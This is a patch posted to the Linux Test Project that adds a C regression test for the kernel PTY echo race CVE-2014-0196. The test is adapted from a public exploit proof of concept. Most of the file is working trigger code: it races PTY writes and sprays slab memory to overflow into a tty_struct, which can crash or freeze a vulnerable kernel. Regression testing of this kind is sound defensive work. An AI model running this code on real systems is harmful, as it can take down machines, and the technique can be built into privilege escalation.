[LTP] [PATCH v3 6/9] Test for CVE-2014-0196 PTY echo race

Richard Palethorpe
2017-06-23T12:22:08Z

Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
---
runtest/cve | 1 +
testcases/cve/.gitignore | 1 +
testcases/cve/cve-2014-0196.c | 161 ++++++++++++++++++++++++++++++++++++++++++
3 files changed, 163 insertions(+)
create mode 100644 testcases/cve/cve-2014-0196.c

diff --git a/runtest/cve b/runtest/cve
index 83b53d906..6556ffb0f 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -1,5 +1,6 @@
# Tests which check for vulnerabilities by CVE number
cve-2012-0957 cve-2012-0957
+cve-2014-0196 cve-2014-0196
cve-2016-4997 cve-2016-4997
cve-2016-5195 dirtyc0w
cve-2016-7117 cve-2016-7117
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index 9c24b83ec..ff5844263 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -1,3 +1,4 @@
cve-2012-0957
+cve-2014-0196
cve-2016-4997
cve-2016-7117
diff --git a/testcases/cve/cve-2014-0196.c b/testcases/cve/cve-2014-0196.c
new file mode 100644
index 000000000..4e2b3f582
--- /dev/null
+++ b/testcases/cve/cve-2014-0196.c
@@ -0,0 +1,161 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ * Original POC by Matthew Daley <mattd@bugfuzz.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * This test attempts to cause a buffer overflow using the race condition
+ * described in CVE-2014-0196. If the test is successful in causing an
+ * overflow it will most likely result in an immediate Oops, restart or
+ * freeze. However if it overwrites memory not accessed during the test then
+ * it could happen at a later time or not at all which is more likely if SLAB
+ * randomization has been implemented. However as it currently stands, the test
+ * usually crashes as soon as the delay has been calibrated.
+ *
+ * To maximise the chances of the buffer overflow doing immediate detectable
+ * damage the SLAB filler sockets and ioctls from the original exploit POC
+ * have been kept even though they are not strictly necessary to reproduce the
+ * bug.
+ *
+ * Further details:
+ * see linux commit 4291086b1f081b869c6d79e5b7441633dc3ace00
+ * privilege escalation POC https://www.exploit-db.com/exploits/33516/
+ */
+
+#include <pty.h>
+#include <stdio.h>
+#include <string.h>
+#include <termios.h>
+#include <limits.h>
+
+#include "tst_test.h"
+#include "tst_timer.h"
+#include "tst_safe_pthread.h"
+
+#include "tst_fuzzy_sync.h"
+
+#define ONEOFF_ALLOCS 200
+#define RUN_ALLOCS 30
+#define ATTEMPTS 0x7000
+#define BUFLEN 512
+
+static int master_fd, slave_fd;
+static int filler_ptys[ONEOFF_ALLOCS * 2];
+static int target_ptys[RUN_ALLOCS * 2];
+static char buf[BUFLEN];
+
+static struct tst_fzsync_pair fzsync_pair = TST_FZSYNC_PAIR_INIT;
+
+static void create_pty(int *amaster, int *aslave)
+{
+ if (openpty(amaster, aslave, NULL, NULL, NULL) == -1)
+ tst_brk(TBROK | TERRNO, "pty creation failed");
+}
+
+static void setup(void)
+{
+ int i;
+
+ fzsync_pair.delay_inc = 100;
+ for (i = 0; i < ONEOFF_ALLOCS; i++) {
+ create_pty(&filler_ptys[i],
+ &filler_ptys[i + ONEOFF_ALLOCS]);
+ }
+}
+
+static void *overwrite_thread_fn(void *p)
+{
+ tst_fzsync_delay_b(&fzsync_pair);
+ tst_fzsync_time_b(&fzsync_pair);
+
+ SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1);
+ SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1);
+ SAFE_WRITE(0, slave_fd, buf, BUFLEN);
+
+ return p;
+}
+
+static void run(void)
+{
+ struct termios t;
+ pthread_t overwrite_thread;
+ int i, j;
+
+ tst_res(TINFO, "Attempting to overflow into a tty_struct...");
+
+ for (i = 0; i < ATTEMPTS; i++) {
+ create_pty(&master_fd, &slave_fd);
+
+ for (j = 0; j < RUN_ALLOCS; j++)
+ create_pty(&target_ptys[j],
+ &target_ptys[j + RUN_ALLOCS]);
+ SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2]);
+ SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2 + RUN_ALLOCS]);
+
+ SAFE_WRITE(0, slave_fd, buf, 1);
+
+ tcgetattr(master_fd, &t);
+ t.c_oflag &= ~OPOST;
+ t.c_lflag |= ECHO;
+ tcsetattr(master_fd, TCSANOW, &t);
+
+ SAFE_PTHREAD_CREATE(&overwrite_thread, NULL,
+ overwrite_thread_fn, NULL);
+
+ tst_fzsync_delay_a(&fzsync_pair);
+ tst_fzsync_time_a(&fzsync_pair);
+ SAFE_WRITE(0, master_fd, "A", 1);
+
+ SAFE_PTHREAD_JOIN(overwrite_thread, NULL);
+
+ tst_fzsync_pair_update(i, &fzsync_pair);
+
+ if (!(i & 0x1FFF))
+ tst_fzsync_pair_info(&fzsync_pair);
+
+ for (j = 0; j < RUN_ALLOCS; j++) {
+ if (j == RUN_ALLOCS / 2)
+ continue;
+
+ ioctl(target_ptys[j], 0xdeadbeef);
+ ioctl(target_ptys[j + RUN_ALLOCS], 0xdeadbeef);
+ SAFE_CLOSE(target_ptys[j]);
+ SAFE_CLOSE(target_ptys[j + RUN_ALLOCS]);
+ }
+
+ ioctl(master_fd, 0xdeadbeef);
+ ioctl(slave_fd, 0xdeadbeef);
+ SAFE_CLOSE(master_fd);
+ SAFE_CLOSE(slave_fd);
+ }
+
+ tst_res(TPASS, "Nothing bad happened, probably.");
+}
+
+static void cleanup(void)
+{
+ int i;
+
+ for (i = 0; i < ONEOFF_ALLOCS * 2; i++)
+ close(filler_ptys[i]);
+ close(master_fd);
+ close(slave_fd);
+}
+
+static struct tst_test test = {
+ .setup = setup,
+ .cleanup = cleanup,
+ .test_all = run,
+};
--
2.12.2